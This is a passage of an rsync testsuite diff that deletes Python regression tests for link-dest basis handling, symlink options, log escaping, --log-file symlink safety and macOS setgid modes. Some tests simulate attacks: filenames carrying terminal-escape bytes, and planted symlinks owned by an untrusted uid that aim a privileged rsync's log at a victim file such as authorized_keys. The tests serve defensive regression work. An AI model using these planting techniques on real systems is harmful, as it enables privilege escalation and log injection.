'--link-dest=../01', f'{src}/', f'{url}root/{base_rel}/00/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-out = proc.stdout or ''\n-if proc.returncode != 0:\n-    test_fail(f\"path=/ --link-dest push failed unexpectedly (rc={proc.returncode}):\\n{out}\")\n-\n-dest = base / '00' / 'f.dat'\n-basis = base / '01' / 'f.dat'\n-if not dest.is_file():\n-    test_fail(f\"destination file missing ({dest})\")\n-\n-ds, bs = dest.stat(), basis.stat()\n-if (ds.st_dev, ds.st_ino) != (bs.st_dev, bs.st_ino):\n-    test_fail(\n-        \"#915 (path=/ case): a `path = /` daemon module ignored --link-dest=../01 \"\n-        \"(module_dirlen==0 skipped the re-anchor) -- the file was re-transferred \"\n-        \"instead of hard-linked.  The secure walk must honour the in-module climb.\")\n-# Honoured: the dest is hard-linked to the in-module sibling basis.\ndiff --git a/testsuite/link-dest-relative-basis_test.py b/testsuite/link-dest-relative-basis_test.py\ndeleted file mode 100644\nindex d1410d8..0000000\n--- a/testsuite/link-dest-relative-basis_test.py\n+++ /dev/null\n@@ -1,118 +0,0 @@\n-#!/usr/bin/env python3\n-# Functional regression: a RELATIVE alt-basis dir (--link-dest / --copy-dest /\n-# --compare-dest = ../sibling) is silently ignored by a daemon receiver, so the\n-# basis is never used -- every file is re-transferred instead of hard-linked /\n-# copied / skipped.  No error is printed; backups silently stop de-duplicating.\n-#\n-# Reported as #915 (\"Security fix breaks --link-dest via rsync daemon\": a\n-# `use chroot = no` daemon with `--link-dest=../01` re-transfers everything and\n-# fills the backup disk).  The closely-related #928 is the same family over a\n-# remote shell with a relative `--link-dest=../snap.1`.\n-#\n-# Root cause: the 3.4.x symlink-race hardening resolves the receiver's basis\n-# through the confined resolver, which rejects the `..` that climbs from the\n-# destination (00) to its sibling basis (01); no basis is found, so the file is\n-# treated as new.  Works in 3.4.1 (basis honoured).\n-#\n-# We exercise all three alt-basis forms because they are NOT obviously identical\n-# even though they share check_alt_basis_dirs():\n-#   * --link-dest=../01   : the matched file must be HARD-LINKED to the basis.\n-#   * --copy-dest=../01   : the matched file is COPIED from the basis, so its\n-#                           data is NOT sent over the wire (literal data ~ 0).\n-#   * --compare-dest=../01 : a matched file is skipped entirely -- NOT created\n-#                           in the destination at all.\n-# Each signal cleanly separates \"basis honoured\" (fixed/3.4.1) from \"basis\n-# ignored\" (the regression).\n-#\n-# Fixed (#915/#930): the secure resolver honours an in-module relative `..` climb\n-# to a sibling basis on every platform (the per-component walk pops `..` to the\n-# held parent), so all three relative alt-basis forms use the basis. Runs at any uid.\n-\n-import re\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, make_data_file, makepath, rmtree, rsync_argv, start_test_daemon,\n-    test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12915\n-DATA_SIZE = 40000\n-\n-mod = SCRATCHDIR / 'bakmod'        # daemon module root: holds basis 01 and dest 00\n-src = SCRATCHDIR / 'src915'\n-rmtree(mod)\n-rmtree(src)\n-makepath(mod / '01', src)\n-make_data_file(src / 'f.dat', DATA_SIZE)\n-# Basis 01 holds a byte-identical copy of the file (same name/size/mtime so the\n-# quick-check treats it as a match and the basis is eligible).\n-import shutil\n-shutil.copy2(src / 'f.dat', mod / '01' / 'f.dat')\n-\n-conf = write_daemon_conf([\n-    ('bak', {'path': str(mod), 'read only': 'no'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def push(opt):\n-    \"\"\"Fresh dest 00, push src/ into bak/00/ with the given alt-basis option.\n-    Returns (rc, stdout).\"\"\"\n-    rmtree(mod / '00')\n-    proc = subprocess.run(\n-        rsync_argv('-a', '--stats', opt, f'{src}/', f'{url}bak/00/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-    return proc.returncode, (proc.stdout or '')\n-\n-\n-def same_inode(a, b):\n-    sa, sb = a.stat(), b.stat()\n-    return (sa.st_dev, sa.st_ino) == (sb.st_dev, sb.st_ino)\n-\n-\n-def literal_bytes(out):\n-    m = re.search(r'Literal data:\\s*([\\d,]+)', out)\n-    return int(m.group(1).replace(',', '')) if m else -1\n-\n-\n-regressions = []\n-basis = mod / '01' / 'f.dat'\n-\n-# --- 1. --link-dest=../01 : matched file must be hard-linked to the basis ----\n-rc, out = push('--link-dest=../01')\n-if rc != 0:\n-    test_fail(f\"--link-dest push failed unexpectedly (rc={rc}):\\n{out}\")\n-dest = mod / '00' / 'f.dat'\n-if not dest.is_file():\n-    test_fail(f\"--link-dest: destination file missing ({dest})\")\n-if not same_inode(dest, basis):\n-    regressions.append(\"--link-dest=../01 did not hard-link to the basis \"\n-                       \"(file re-transferred)\")\n-\n-# --- 2. --copy-dest=../01 : matched file copied locally, NOT sent on the wire -\n-rc, out = push('--copy-dest=../01')\n-if rc != 0:\n-    test_fail(f\"--copy-dest push failed unexpectedly (rc={rc}):\\n{out}\")\n-dest = mod / '00' / 'f.dat'\n-if not dest.is_file():\n-    test_fail(f\"--copy-dest: destination file missing ({dest})\")\n-lit = literal_bytes(out)\n-if lit > DATA_SIZE // 2:\n-    regressions.append(f\"--copy-dest=../01 re-sent the data over the wire \"\n-                       f\"(Literal data={lit}, basis not used)\")\n-\n-# --- 3. --compare-dest=../01 : matched file skipped, NOT created in dest ------\n-rc, out = push('--compare-dest=../01')\n-if rc != 0:\n-    test_fail(f\"--compare-dest push failed unexpectedly (rc={rc}):\\n{out}\")\n-if (mod / '00' / 'f.dat').is_file():\n-    regressions.append(\"--compare-dest=../01 created the file in the dest \"\n-                       \"(basis not matched, so the file was transferred)\")\n-\n-if regressions:\n-    test_fail(\n-        \"#915/#930: a daemon receiver ignored a RELATIVE alt-basis dir (../01) -- \"\n-        \"the secure resolver must honour an in-module `..` climb to the sibling \"\n-        \"basis on every platform:\\n  - \" + \"\\n  - \".join(regressions))\n-# No regressions -> all three relative alt-basis forms honoured the basis.\ndiff --git a/testsuite/link-dest-symlink-enotsup_test.py b/testsuite/link-dest-symlink-enotsup_test.py\ndeleted file mode 100644\nindex 864a81f..0000000\n--- a/testsuite/link-dest-symlink-enotsup_test.py\n+++ /dev/null\n@@ -1,202 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"--link-dest must fall back to a copy when the destination refuses to\n-hard-link a symlink, whatever the errno, and must report it only once.\n-\n-CAN_HARDLINK_SYMLINK is decided by configure running linkat() on whatever\n-filesystem the build tree sat on.  The destination is free to disagree -- macOS\n-builds on APFS and backs up to HFS+, which answers ENOTSUP -- and a build that\n-says yes had no fallback left, so the transfer died with exit 23 even though the\n-symlink was then created correctly.  Every neighbouring case copes: a regular\n-file whose link() fails falls back, and so does a build compiled without the\n-capability.\n-\n-Forcing the errno with LD_PRELOAD reaches that arm on a filesystem that can\n-hard-link symlinks perfectly well.\n-\"\"\"\n-\n-import os\n-import re\n-import platform\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, run_rsync, rsync_argv, test_fail,\n-    test_skipped,\n-)\n-\n-if platform.system() != 'Linux':\n-    test_skipped('the LD_PRELOAD linkat hook is Linux-only')\n-\n-vv = run_rsync('-VV', check=True, capture_output=True).stdout\n-if '\"hardlink_symlinks\": true' not in vv:\n-    test_skipped('build cannot hard-link symlinks, so it already falls back '\n-                 'at compile time and this arm is unreachable')\n-\n-hook_code = r'''\n-#define _GNU_SOURCE\n-#include <sys/stat.h>\n-#include <sys/types.h>\n-#include <dlfcn.h>\n-#include <errno.h>\n-#include <fcntl.h>\n-#include <stdlib.h>\n-#include <string.h>\n-#include <unistd.h>\n-\n-static int (*real_link)(const char *, const char *);\n-static int (*real_linkat)(int, const char *, int, const char *, int);\n-\n-/* Resolved on demand rather than in a constructor: link()/linkat() are not\n- * called during loader initialisation, but resolving lazily costs nothing and\n- * keeps this hook out of the constructor-ordering trap the partial-retry hook\n- * documents. */\n-static void hook_resolve(void)\n-{\n-    if (!real_link)   real_link   = dlsym(RTLD_NEXT, \"link\");\n-    if (!real_linkat) real_linkat = dlsym(RTLD_NEXT, \"linkat\");\n-}\n-\n-static void mark(const char *var)\n-{\n-    const char *path = getenv(var);\n-    int fd;\n-    if (!path)\n-        return;\n-    fd = open(path, O_WRONLY | O_CREAT, 0600);\n-    if (fd >= 0)\n-        close(fd);\n-}\n-\n-static int refuse_errno(void)\n-{\n-    const char *e = getenv(\"RSYNC_LINK_REFUSE_ERRNO\");\n-    if (e && strcmp(e, \"EPERM\") == 0)\n-        return EPERM;\n-    if (e && strcmp(e, \"ENOSYS\") == 0)\n-        return ENOSYS;\n-    return ENOTSUP;\n-}\n-\n-/* Only a SYMLINK source is refused: the regular files in the same transfer\n- * must keep hard-linking, or the test could not tell \"fell back for the\n- * symlink\" from \"gave up on --link-dest entirely\". */\n-static int is_symlink_at(int dfd, const char *path)\n-{\n-    struct stat st;\n-    if (!path)\n-        return 0;\n-    if (fstatat(dfd, path, &st, AT_SYMLINK_NOFOLLOW) < 0)\n-        return 0;\n-    return S_ISLNK(st.st_mode);\n-}\n-\n-int linkat(int olddirfd, const char *oldpath, int newdirfd,\n-           const char *newpath, int flags)\n-{\n-    hook_resolve();\n-    if (is_symlink_at(olddirfd, oldpath)) {\n-        mark(\"RSYNC_LINK_HOOK_MARKER\");\n-        errno = refuse_errno();\n-        return -1;\n-    }\n-    return real_linkat(olddirfd, oldpath, newdirfd, newpath, flags);\n-}\n-\n-int link(const char *oldpath, const char *newpath)\n-{\n-    hook_resolve();\n-    if (is_symlink_at(AT_FDCWD, oldpath)) {\n-        mark(\"RSYNC_LINK_HOOK_MARKER\");\n-        errno = refuse_errno();\n-        return -1;\n-    }\n-    return real_link(oldpath, newpath);\n-}\n-'''\n-\n-base = SCRATCHDIR / 'link-dest-symlink-enotsup'\n-rmtree(base)\n-src = base / 'src'\n-ldest = base / 'ldest'\n-makepath(src, ldest)\n-\n-# The basis must match exactly (match_level 3) or try_dests_non() never\n-# reaches the hard-link at all.\n-for d in (src, ldest):\n-    (d / 'reg').write_bytes(b'REGULAR-CONTENT')\n-    os.symlink('some-target', d / 'sym')\n-\n-hook_src = base / 'hook.c'\n-hook_lib = base / 'hook.so'\n-hook_src.write_text(hook_code)\n-build = subprocess.run(\n-    ['cc', '-shared', '-fPIC', '-o', str(hook_lib), str(hook_src), '-ldl'],\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-if build.returncode != 0:\n-    test_skipped(f'cannot build the LD_PRELOAD linkat hook: {build.stdout!r}')\n-\n-\n-def run(dest, refuse, args=('-a',)):\n-    marker = base / f'fired-{refuse}-{dest.name}'\n-    env = os.environ.copy()\n-    env.update({\n-        'LD_PRELOAD': str(hook_lib),\n-        'RSYNC_LINK_REFUSE_ERRNO': refuse,\n-        'RSYNC_LINK_HOOK_MARKER': str(marker),\n-    })\n-    r = subprocess.run(\n-        rsync_argv(*args, f'--link-dest={ldest}', f'{src}/', f'{dest}/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, env=env)\n-    if r.returncode is not None and r.returncode < 0:\n-        test_fail(f'rsync died by signal {-r.returncode} under the hook: '\n-                  f'output={r.stdout!r}')\n-    if not marker.exists():\n-        test_skipped(f'the LD_PRELOAD hook never fired (rc={r.returncode}, '\n-                     f'output={r.stdout!r})')\n-    return r\n-\n-\n-def check_fallback(dest, refuse):\n-    got = run(dest, refuse)\n-    ctx = f'refuse={refuse}, rc={got.returncode}, output={got.stdout!r}'\n-    assert got.returncode == 0, (\n-        'a destination that refused to hard-link a symlink failed the transfer '\n-        f'instead of falling back to a copy: {ctx}')\n-    assert 'failed to hard-link' not in got.stdout, (\n-        f'the fallback still reported a hard-link failure: {ctx}')\n-    assert (dest / 'sym').is_symlink() and os.readlink(dest / 'sym') == 'some-target', (\n-        f'the symlink was not recreated by the fallback: {ctx}')\n-    # The regular file must still be hard-linked, or \"it fell back\" would also\n-    # be satisfied by --link-dest having been abandoned altogether.\n-    assert (dest / 'reg').stat().st_ino == (ldest / 'reg').stat().st_ino, (\n-        f'the regular file stopped being hard-linked to the basis: {ctx}')\n-\n-\n-# ENOTSUP is the answer configure would have given, arriving late.\n-check_fallback(base / 'dest-enotsup', 'ENOTSUP')\n-\n-# EPERM and ENOSYS reach the same place.  errno cannot separate \"this\n-# filesystem has no hard links\" from \"you may not\": link(2) documents EPERM for\n-# both, and FUSE reports ENOSYS for a filesystem that omits the callback.  The\n-# regular-file path next door has always fallen back on every errno, so these\n-# do too -- the entry is created correctly either way.\n-check_fallback(base / 'dest-eperm', 'EPERM')\n-check_fallback(base / 'dest-enosys', 'ENOSYS')\n-\n-# The fallback must report the entry ONCE.  try_dests_non() itemises the basis\n-# match itself, so a caller that then creates the entry with itemising still on\n-# prints it twice -- which is what a plain -a run cannot see, and what an\n-# itemised --link-dest backup on such a filesystem would show.\n-dest = base / 'dest-itemize'\n-got = run(dest, 'ENOTSUP', args=('-ivvplrtH',))\n-ctx = f'rc={got.returncode}, output={got.stdout!r}'\n-assert got.returncode == 0, (\n-    f'the itemised run did not succeed, so its output proves nothing: {ctx}')\n-# Anchored on the change-type letters as well as the name: counting lines that\n-# merely contain \"sym\" and \"->\" would also be satisfied by one warning line, or\n-# by a single line from a run that then failed.\n-sym_lines = [ln for ln in got.stdout.splitlines()\n-             if re.match(r'^cL\\S*\\s+sym -> some-target$', ln)]\n-assert len(sym_lines) == 1, (\n-    f'expected exactly one \"cL... sym -> some-target\" itemisation, got '\n-    f'{len(sym_lines)}: {sym_lines} ({ctx})')\ndiff --git a/testsuite/links_test.py b/testsuite/links_test.py\ndeleted file mode 100644\nindex f7b412d..0000000\n--- a/testsuite/links_test.py\n+++ /dev/null\n@@ -1,65 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of symlink-handling options -l / -L / -k at depth.\n-\n-  -l (--links)         copy a symlink as a symlink (target preserved);\n-  -L (--copy-links)    replace a symlink with the file/dir it points to;\n-  -k (--copy-dirlinks) treat a symlink-to-directory as the real directory.\n-\n-(-K --keep-dirlinks -- the receiver-side follow of an in-tree directory\n-symlink, issue #715 -- is covered by symlink-dirlink-basis_test.py and needs\n-the secure resolver; here we cover the portable source-side options, all on a\n-symlink that lives several directory levels deep.)\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_is_symlink, assert_same, make_tree, rmtree, run_rsync, test_fail,\n-)\n-\n-src = FROMDIR\n-deepdir = os.path.join('d1', 'd2', 'd3')\n-\n-\n-def seed():\n-    rmtree(src)\n-    rmtree(TODIR)\n-    make_tree(src, depth=3)\n-    os.symlink('f3', src / deepdir / 'sl')          # file symlink, deep\n-    (src / deepdir / 'realdir').mkdir()\n-    (src / deepdir / 'realdir' / 'inside').write_text(\"inside\\n\")\n-    os.symlink('realdir', src / deepdir / 'dirlink')  # dir symlink, deep\n-\n-\n-# --- -l: symlinks preserved as symlinks at depth ----------------------------\n-seed()\n-run_rsync('-rl', f'{src}/', f'{TODIR}/')\n-assert_is_symlink(TODIR / deepdir / 'sl', target='f3', label='-l file symlink')\n-assert_is_symlink(TODIR / deepdir / 'dirlink', target='realdir',\n-                  label='-l dir symlink')\n-\n-# --- -L: symlinks dereferenced into their referents at depth -----------------\n-seed()\n-run_rsync('-rL', f'{src}/', f'{TODIR}/')\n-if os.path.islink(TODIR / deepdir / 'sl'):\n-    test_fail(\"-L left a file symlink at depth instead of dereferencing it\")\n-assert_same(TODIR / deepdir / 'sl', src / deepdir / 'f3', label='-L deref file')\n-if os.path.islink(TODIR / deepdir / 'dirlink'):\n-    test_fail(\"-L left a dir symlink at depth instead of dereferencing it\")\n-assert_same(TODIR / deepdir / 'dirlink' / 'inside',\n-            src / deepdir / 'realdir' / 'inside', label='-L deref dir')\n-\n-# --- -k: only the dir-symlink is followed; the file symlink stays a symlink --\n-seed()\n-run_rsync('-rlk', f'{src}/', f'{TODIR}/')\n-if os.path.islink(TODIR / deepdir / 'dirlink'):\n-    test_fail(\"-k left the dir symlink as a symlink\")\n-if not (TODIR / deepdir / 'dirlink').is_dir():\n-    test_fail(\"-k did not turn the dir symlink into a real directory\")\n-assert_same(TODIR / deepdir / 'dirlink' / 'inside',\n-            src / deepdir / 'realdir' / 'inside', label='-k dir contents')\n-assert_is_symlink(TODIR / deepdir / 'sl', target='f3',\n-                  label='-k keeps the file symlink')\n-\n-print(\"links: -l preserves, -L dereferences, -k follows dir-symlinks (at depth)\")\ndiff --git a/testsuite/log-control-chars_test.py b/testsuite/log-control-chars_test.py\ndeleted file mode 100644\nindex dc896e1..0000000\n--- a/testsuite/log-control-chars_test.py\n+++ /dev/null\n@@ -1,40 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression for KI-51/52: the log file must escape control characters in a\n-# (possibly attacker-controlled) filename, so an admin who cat's the log can't\n-# have terminal escapes injected (CWE-117).  Covers both C0 (< 0x20) and the C1\n-# range (0x80-0x9f, incl CSI 0x9b) on the log path.\n-\n-import os\n-\n-from rsyncfns import SCRATCHDIR, run_rsync, test_fail, test_skipped\n-\n-base = SCRATCHDIR / 'logctl'\n-src = base / 'src'\n-dst = base / 'dst'\n-src.mkdir(parents=True, exist_ok=True)\n-dst.mkdir(parents=True, exist_ok=True)\n-log = base / 'rsync.log'\n-\n-srcb = os.fsencode(str(src))\n-made = 0\n-for raw in (b'c0_\\x1b_esc', b'c1_\\x9b_csi'):\n-    try:\n-        with open(srcb + b'/' + raw, 'wb') as fh:\n-            fh.write(b'x')\n-        made += 1\n-    except OSError:\n-        pass  # a filesystem that rejects control-char names (e.g. Cygwin)\n-if made == 0:\n-    test_skipped(\"filesystem rejects control-char filenames\")\n-\n-run_rsync('-rv', f'--log-file={log}', f'{src}/', f'{dst}/')\n-\n-data = log.read_bytes()\n-if b'\\x1b' in data:\n-    test_fail(\"raw C0 ESC (0x1b) byte left un-escaped in the log file\")\n-if b'\\x9b' in data:\n-    test_fail(\"raw C1 CSI (0x9b) byte left un-escaped in the log file\")\n-if b'\\\\#' not in data:\n-    test_fail(\"expected escaped \\\\#NNN sequences in the log file, found none\")\n-\n-print(f'log-control-chars: {made} control-char name(s) escaped in the log file')\ndiff --git a/testsuite/log-file-symlink_test.py b/testsuite/log-file-symlink_test.py\ndeleted file mode 100644\nindex a290ef3..0000000\n--- a/testsuite/log-file-symlink_test.py\n+++ /dev/null\n@@ -1,129 +0,0 @@\n-#!/usr/bin/env python3\n-# --log-file=PATH must not follow planted symlinks at attacker-controlled\n-# path components.\n-#\n-# Threat: a privileged user (root or\n-# sysadmin) runs rsync with --log-file=PATH where PATH, or a parent component\n-# of PATH, lives in an attacker-influenceable directory (canonical case:\n-# /tmp/somedir/rsync.log). An unprivileged user plants a symlink there →\n-# rsync appends its log to an attacker-chosen file. The trivially exploitable\n-# landing is /root/.ssh/authorized_keys (append an SSH key → privesc).\n-#\n-# Both variants exercised:\n-#\n-#   LEAF plant:    --log-file=$plant where $plant is a symlink to a victim\n-#                  file. Refused by the leaf O_NOFOLLOW + the path walk's\n-#                  ownership check.\n-#\n-#   PARENT plant:  --log-file=$plant/rsync.log where $plant is a symlink to a\n-#                  victim directory. Refused by the path walk's parent-\n-#                  component ownership check (the /tmp/somedir/ case --\n-#                  plain O_NOFOLLOW alone is leaf-only and does NOT defend\n-#                  this; the path walk does).\n-#\n-# Defense model (the fix on pr-symlink-fix-privopens, per the audit):\n-# walk the operator-supplied path component-by-component using\n-# openat(O_PATH|O_NOFOLLOW), and for each component that IS a symlink,\n-# fstat() the symlink itself and allow only if st_uid is 0 or geteuid().\n-# Symlinks owned by an untrusted uid → ELOOP.\n-#\n-# Requires root (to lchown a symlink to a non-self uid -- the only way to\n-# simulate a planted attacker-owned symlink in-process). Skipped otherwise.\n-\n-import os\n-import pwd\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail, test_skipped\n-\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a symlink owned by a non-root, \"\n-                 \"non-self uid (the attacker simulation)\")\n-\n-NOBODY_UID = None\n-for name in ('nobody', 'nfsnobody', 'daemon'):\n-    try:\n-        NOBODY_UID = pwd.getpwnam(name).pw_uid\n-        if NOBODY_UID != 0 and NOBODY_UID != os.geteuid():\n-            break\n-    except KeyError:\n-        continue\n-if NOBODY_UID is None or NOBODY_UID == 0 or NOBODY_UID == os.geteuid():\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant \"\n-                 \"(tried nobody, nfsnobody, daemon)\")\n-\n-\n-base = SCRATCHDIR / 'logfile'\n-src = base / 'src'\n-dest = base / 'dest'\n-plants = base / 'plants'\n-\n-rmtree(base)\n-src.mkdir(parents=True)\n-(src / 'f').write_text(\"payload\\n\")\n-dest.mkdir(parents=True)\n-plants.mkdir(parents=True)\n-\n-\n-# ---------------------------------------------------------------------------\n-# LEAF plant\n-# ---------------------------------------------------------------------------\n-# A victim file the attacker wants rsync to append to. Owned by root (us),\n-# mode 0600, content we'll check is unchanged.\n-sentinel = plants / 'sentinel_leaf'\n-sentinel.write_text(\"LEAF_SENTINEL_INITIAL\\n\")\n-os.chmod(sentinel, 0o600)\n-\n-# Plant: --log-file path is a symlink to the victim. The symlink itself is\n-# owned by NOBODY_UID (the attacker simulation).\n-leaf_path = plants / 'log_leaf'\n-os.symlink(sentinel, leaf_path)\n-os.lchown(leaf_path, NOBODY_UID, NOBODY_UID)\n-\n-subprocess.run(\n-    rsync_argv('-a', '--log-file=' + str(leaf_path), f'{src}/', f'{dest}/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-leaf_after = sentinel.read_text()\n-if leaf_after != \"LEAF_SENTINEL_INITIAL\\n\":\n-    test_fail(\n-        f\"--log-file followed a planted LEAF symlink (owned by uid \"\n-        f\"{NOBODY_UID}): {sentinel} changed from 'LEAF_SENTINEL_INITIAL' to \"\n-        f\"{leaf_after!r}. The privileged rsync appended its log into the \"\n-        f\"attacker-chosen file. Fix: refuse planted symlinks at --log-file.\")\n-\n-\n-# ---------------------------------------------------------------------------\n-# PARENT-component plant (the /tmp/somedir/ case)\n-# ---------------------------------------------------------------------------\n-# A victim directory the attacker wants rsync to create files in. Owned by\n-# us, normally empty.\n-real_target = plants / 'parent_real_target'\n-real_target.mkdir()\n-\n-# Plant: a directory-symlink owned by NOBODY_UID, pointing at the victim\n-# directory. --log-file=$plant/rsync.log resolves the parent (symlink) →\n-# kernel writes the log into the victim directory. The leaf \"rsync.log\"\n-# does not exist yet so plain O_NOFOLLOW on the leaf wouldn't reject anything;\n-# only the parent-component ownership check (the audit's owned-by-trusted-uid\n-# walk) defends here.\n-parent_plant = plants / 'parent_link'\n-os.symlink(real_target, parent_plant)\n-os.lchown(parent_plant, NOBODY_UID, NOBODY_UID)\n-\n-log_via_parent = parent_plant / 'rsync.log'\n-subprocess.run(\n-    rsync_argv('-a', '--log-file=' + str(log_via_parent), f'{src}/', f'{dest}/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-# Was a log file created in the victim directory via the planted symlink?\n-outside_log = real_target / 'rsync.log'\n-if outside_log.exists():\n-    test_fail(\n-        f\"--log-file followed a planted PARENT-component symlink (owned by \"\n-        f\"uid {NOBODY_UID}): {parent_plant} -> {real_target} was traversed \"\n-        f\"and rsync's log was created at {outside_log}. This is the \"\n-        \"/tmp/somedir/-class parent-flip case that plain O_NOFOLLOW does NOT \"\n-        \"defend (O_NOFOLLOW is leaf-only). Fix: per-component path walk that \"\n-        \"refuses parent symlinks owned by an untrusted uid.\")\ndiff --git a/testsuite/longdir.test b/testsuite/longdir.test\nnew file mode 100644\nindex 0000000..8d66bb5\n--- /dev/null\n+++ b/testsuite/longdir.test\n@@ -0,0 +1,26 @@\n+#!/bin/sh\n+\n+# Copyright (C) 1998,1999 Philip Hands <phil@hands.com>\n+# Copyright (C) 2001 by Martin Pool <mbp@samba.org>\n+#\n+# This program is distributable under the terms of the GNU GPL (see COPYING)\n+\n+. \"$suitedir/rsync.fns\"\n+\n+hands_setup\n+\n+longname=This-is-a-directory-with-a-stupidly-long-name-created-in-an-attempt-to-provoke-an-error-found-in-2.0.11-that-should-hopefully-never-appear-again-if-this-test-does-its-job\n+longdir=\"$fromdir/$longname/$longname/$longname\"\n+\n+makepath \"$longdir\" || test_skipped \"unable to create long directory\"\n+touch \"$longdir/1\" || test_skipped \"unable to create files in long directory\"\n+date > \"$longdir/1\"\n+if [ -r /etc ]; then\n+    ls -la /etc >\"$longdir/2\"\n+else\n+    ls -la / >\"$longdir/2\"\n+fi\n+checkit \"$RSYNC --delete -avH '$fromdir/' '$todir'\" \"$fromdir/\" \"$todir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/longdir_test.py b/testsuite/longdir_test.py\ndeleted file mode 100644\nindex 4676c3f..0000000\n--- a/testsuite/longdir_test.py\n+++ /dev/null\n@@ -1,34 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/longdir.test.\n-#\n-# Regression test for a 2.0.11 bug: rsync used to mishandle paths nested\n-# inside a stupidly-long directory name. We build a three-deep nest of\n-# 175-char directory names, drop a couple of files in the leaf, and\n-# verify that --delete -avH still produces an identical destination.\n-\n-from rsyncfns import (FROMDIR, TODIR, checkit, hands_setup, make_text_file,\n-                      test_skipped)\n-\n-\n-hands_setup()\n-\n-longname = ('This-is-a-directory-with-a-stupidly-long-name-created-in-an-'\n-            'attempt-to-provoke-an-error-found-in-2.0.11-that-should-'\n-            'hopefully-never-appear-again-if-this-test-does-its-job')\n-longdir = FROMDIR / longname / longname / longname\n-\n-try:\n-    longdir.mkdir(parents=True)\n-except OSError:\n-    test_skipped(\"unable to create long directory\")\n-\n-try:\n-    (longdir / '1').touch()\n-except OSError:\n-    test_skipped(\"unable to create files in long directory\")\n-\n-# Drop predictable, self-contained content into the two leaf files.\n-make_text_file(longdir / '1', 50)\n-make_text_file(longdir / '2', 100)\n-\n-checkit(['--delete', '-avH', f'{FROMDIR}/', str(TODIR)], FROMDIR, TODIR)\ndiff --git a/testsuite/macos-setgid-ordinary-mode-regression_test.py b/testsuite/macos-setgid-ordinary-mode-regression_test.py\ndeleted file mode 100644\nindex 167373e..0000000\n--- a/testsuite/macos-setgid-ordinary-mode-regression_test.py\n+++ /dev/null\n@@ -1,116 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A failed setgid request must not discard the ordinary directory mode.\n-\n-On macOS, mkdir(..., 02750) for a caller-owned directory whose inherited group\n-is not one of the caller's groups succeeds with setgid cleared and mode 0750.\n-The hardened 3.5 receiver stages a new directory and later uses\n-fchmodat(..., AT_SYMLINK_NOFOLLOW), which returns EPERM without applying any of\n-the ordinary bits.  A pinned-descriptor fchmod preserves the former semantics.\n-\"\"\"\n-\n-import ctypes\n-import errno\n-import os\n-import tempfile\n-import shutil\n-import atexit\n-import pathlib\n-import platform\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail, test_skipped\n-\n-\n-if platform.system() != \"Darwin\":\n-    test_skipped(\"macOS-specific fchmodat setgid behavior\")\n-\n-AT_FDCWD = -2\n-AT_SYMLINK_NOFOLLOW = 0x0020\n-libc = ctypes.CDLL(None, use_errno=True)\n-libc.fchmodat.argtypes = [ctypes.c_int, ctypes.c_char_p, ctypes.c_uint, ctypes.c_int]\n-\n-\n-def mode(path):\n-    return path.stat().st_mode & 0o7777\n-\n-\n-# macOS gives a new directory its parent's group, and the bug only shows when\n-# that group is one the caller cannot grant.  The build tree usually satisfies\n-# that, but not always -- a checkout under a home directory inherits a group the\n-# user IS in, and the test then skipped silently.  Fall back to /private/tmp,\n-# which is group wheel, so this runs rather than skipping wherever it can.\n-def _scratch_with_ungrantable_group():\n-    \"\"\"A scratch dir whose group we cannot grant, else None.\n-\n-    The build tree is tried first; a checkout under a home directory\n-    inherits a group the user IS in, so /private/tmp (group wheel) is the\n-    fallback.  That one is outside SCRATCHDIR, which the harness cleans, so\n-    it gets a unique name and an atexit hook -- a fixed name in a sticky\n-    world-writable directory would let concurrent runs delete each other's\n-    live fixture, and a leftover owned by another user would make every\n-    later run skip.\n-    \"\"\"\n-    cand = SCRATCHDIR / \"macos-setgid-ordinary-mode-regression\"\n-    rmtree(cand)\n-    cand.mkdir(parents=True)\n-    if cand.stat().st_gid not in os.getgroups():\n-        return cand\n-    rmtree(cand)\n-\n-    try:\n-        tmp = pathlib.Path(tempfile.mkdtemp(prefix=\"rsync-setgid-\", dir=\"/private/tmp\"))\n-    except OSError:\n-        return None\n-    atexit.register(shutil.rmtree, tmp, True)\n-    if tmp.stat().st_gid not in os.getgroups():\n-        return tmp\n-    return None\n-\n-\n-base = _scratch_with_ungrantable_group()\n-if base is None:\n-    test_skipped(\"no scratch parent whose group this user cannot grant \"\n-                 \"(running as root, or every candidate group is granted)\")\n-\n-mprobe = base / \"mprobe\"\n-mprobe.mkdir(mode=0o2750)\n-if mode(mprobe) != 0o750:\n-    test_skipped(\"mkdir does not apply ordinary bits while clearing setgid\")\n-\n-faprobe = base / \"fchmodat-probe\"\n-faprobe.mkdir(mode=0o700)\n-ctypes.set_errno(0)\n-frc = libc.fchmodat(AT_FDCWD, os.fsencode(faprobe), 0o2750,\n-                    AT_SYMLINK_NOFOLLOW)\n-if frc == 0 or ctypes.get_errno() != errno.EPERM or mode(faprobe) != 0o700:\n-    test_skipped(\"fchmodat no-follow does not expose the macOS differential\")\n-\n-fdprobe = base / \"fchmod-probe\"\n-fdprobe.mkdir(mode=0o700)\n-fd = os.open(fdprobe, os.O_RDONLY)\n-try:\n-    os.fchmod(fd, 